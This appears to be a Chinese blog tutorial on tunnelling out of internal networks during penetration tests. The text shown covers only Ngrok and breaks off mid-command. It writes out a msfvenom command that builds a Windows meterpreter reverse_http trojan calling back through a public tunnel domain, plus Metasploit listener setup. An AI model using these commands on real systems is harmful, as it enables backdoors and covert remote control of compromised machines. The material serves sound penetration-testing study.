内网渗透| 隧道穿透的搭建从简单到高阶_sunny-ngrok隧道协议-优快云博客

本文介绍了四种内网穿透工具——Ngrok、Frp、Nps和Spp的使用方法，包括它们支持的协议和代理类型，以及如何配置服务端和客户端以实现内网服务的公网访问。这些工具可用于在不同网络环境下建立隧道，如TCP、HTTP等协议的代理，以达到远程控制和数据传输的目的。

1、内网穿透-Ngrok

Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器

支持的协议：tcp、http、https

支持的类型：正向代理、反向代理

1.1、服务端配置：

开通隧道-TCP协议-指向IP和端口-开通隧道-连接隧道

可以自行花点小钱去购买,也能用免费的,不过大部分免费的都不能用

（tcp协议隧道↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑）

（http协议隧道↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑）

1.2、客户端连接服务端：


./sunny clientid 151559380722       #控制端连接Ngrok的服务器
./sunny clientid <此处的隧道ID为上所开通的>

1.3、客户端生成后门配置监听：

（注意根据你的协议不同。生成木马reverse_ 后面协议需要相应改变）

1.生成木马
msfvenom -p windows/meterpreter/reverse_http lhost=yeye.gz2vip.91tunnel.com lport=80 -f exe -o httpNgo.exe      #如果是tcp用他给你的端口。http协议默认80端口即可


2.开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set